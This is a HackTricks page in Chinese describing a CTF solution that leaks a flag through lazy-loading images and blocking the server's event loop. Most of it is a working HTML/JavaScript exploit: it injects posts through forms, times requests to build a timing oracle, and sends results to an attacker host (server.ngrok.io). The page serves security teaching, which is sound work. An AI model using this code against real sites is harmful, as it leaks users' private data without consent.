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163 lines
7.7 KiB
Markdown
163 lines
7.7 KiB
Markdown
# 阻塞事件循环 + 懒加载图片
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* 你在一家**网络安全公司**工作吗？你想在 HackTricks 中看到你的**公司广告**吗？或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
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* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
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* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
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* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass)，或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
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* **通过向[hacktricks 仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud)提交 PR 来分享你的黑客技巧**。
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</details>
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在[**这个漏洞利用**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45)中，[**@aszx87410**](https://twitter.com/aszx87410)通过HTML注入混合使用了**懒加载图片侧信道**技术和一种**阻塞事件循环技术**来泄露字符。
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这是一个针对已在以下页面中进行了评论的 CTF 挑战的**不同漏洞利用**。请查看有关挑战的更多信息：
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{% content-ref url="connection-pool-example.md" %}
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[connection-pool-example.md](connection-pool-example.md)
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{% endcontent-ref %}
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这个漏洞利用的思路是：
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* 帖子按字母顺序加载
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* **攻击者**可以**注入**一个以**"A"**开头的**帖子**，然后一些**HTML 标签**（如一个大的**`<canvas`**）将占据大部分**屏幕**，并且一些最终的**`<img lazy` 标签**用于加载内容。
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* 如果攻击者注入的是以**"z"**开头的**相同帖子**而不是"A"，那么**带有标志的帖子**将首先出现，然后**注入的帖子**将以初始的"z"和**大的 canvas**出现。因为带有标志的帖子首先出现，第一个 canvas 将占据整个屏幕，注入的最终**`<img lazy`**标签在屏幕上**看不见**，因此它们**不会被加载**。
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* 然后，**当**机器人正在**访问**页面时，**攻击者**将**发送获取请求**。 
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* 如果**帖子**中注入的**图片**正在**加载**，这些**获取请求**将花费**更长时间**，因此攻击者知道**帖子在标志之前**（按字母顺序）。
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* 如果**获取请求**很**快**，这意味着**帖子**在标志之后按字母顺序排列。
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让我们来看看代码：
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```html
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<!DOCTYPE html>
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<html>
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<!--
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The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.
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If images are loading, the request to "/" is slower, otherwise faster.
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By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
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We can use fetch to measure the request time.
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-->
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<body>
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<button onclick="run()">start</button>
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<!-- Inject post with payload -->
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<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
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<input id=inp name="text" value="">
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</form>
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<!-- Remove index -->
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<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
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<input id=inp2 name="index" value="">
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</form>
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<script>
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let flag = 'SEKAI{'
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const TARGET = 'https://safelist.ctf.sekai.team'
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f.action = TARGET + '/create'
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f2.action = TARGET + '/remove'
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const sleep = ms => new Promise(r => setTimeout(r, ms))
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// Function to leak info to attacker
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const send = data => fetch('http://server.ngrok.io?d='+data)
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const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')
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// start exploit
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let count = 0
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setTimeout(async () => {
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let L = 0
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let R = charset.length - 1
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// I have omited code here as apparently it wasn't necesary
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// fallback to linerar since I am not familiar with binary search lol
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for(let i=R; i>=L; i--) {
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let c = charset[i]
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send('try_' + flag + c)
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const found = await testChar(flag + c)
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if (found) {
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send('found: '+ flag+c)
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flag += c
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break
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}
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}
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}, 0)
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async function testChar(str) {
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return new Promise(resolve => {
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/*
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For 3350, you need to test it on your local to get this number.
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The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
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If starts with "A", the image should be loaded because it's in the threshold.
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*/
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// <canvas height="3350px"> is experimental and allow to show the injected
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// images when the post injected is the first one but to hide them when
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// the injected post is after the post with the flag
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inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
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f.submit()
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setTimeout(() => {
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run(str, resolve)
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}, 500)
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})
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}
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async function run(str, resolve) {
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// Open posts page 5 times
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for(let i=1; i<=5;i++) {
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window.open(TARGET)
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}
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let t = 0
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const round = 30 //Lets time 30 requests
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setTimeout(async () => {
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// Send 30 requests and time each
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for(let i=0; i<round; i++) {
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let s = performance.now()
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await fetch(TARGET + '/?test', {
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mode: 'no-cors'
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}).catch(err=>1)
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let end = performance.now()
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t += end - s
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console.log(end - s)
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}
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const avg = t/round
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// Send info about how much time it took
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send(str + "," + t + "," + "avg:" + avg)
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/*
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I get this threshold(1000ms) by trying multiple times on remote admin bot
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for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
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*/
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const isFound = (t >= 1000)
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if (isFound) {
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inp2.value = "0"
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} else {
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inp2.value = "1"
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}
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// remember to delete the post to not break our leak oracle
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f2.submit()
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setTimeout(() => {
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resolve(isFound)
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}, 200)
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}, 200)
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}
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</script>
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</body>
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</html>
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```
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* 你在一家**网络安全公司**工作吗？想要在HackTricks中看到你的**公司广告**吗？或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
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* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
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* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
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* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**telegram群组**](https://t.me/peass) 或者 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
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</details>
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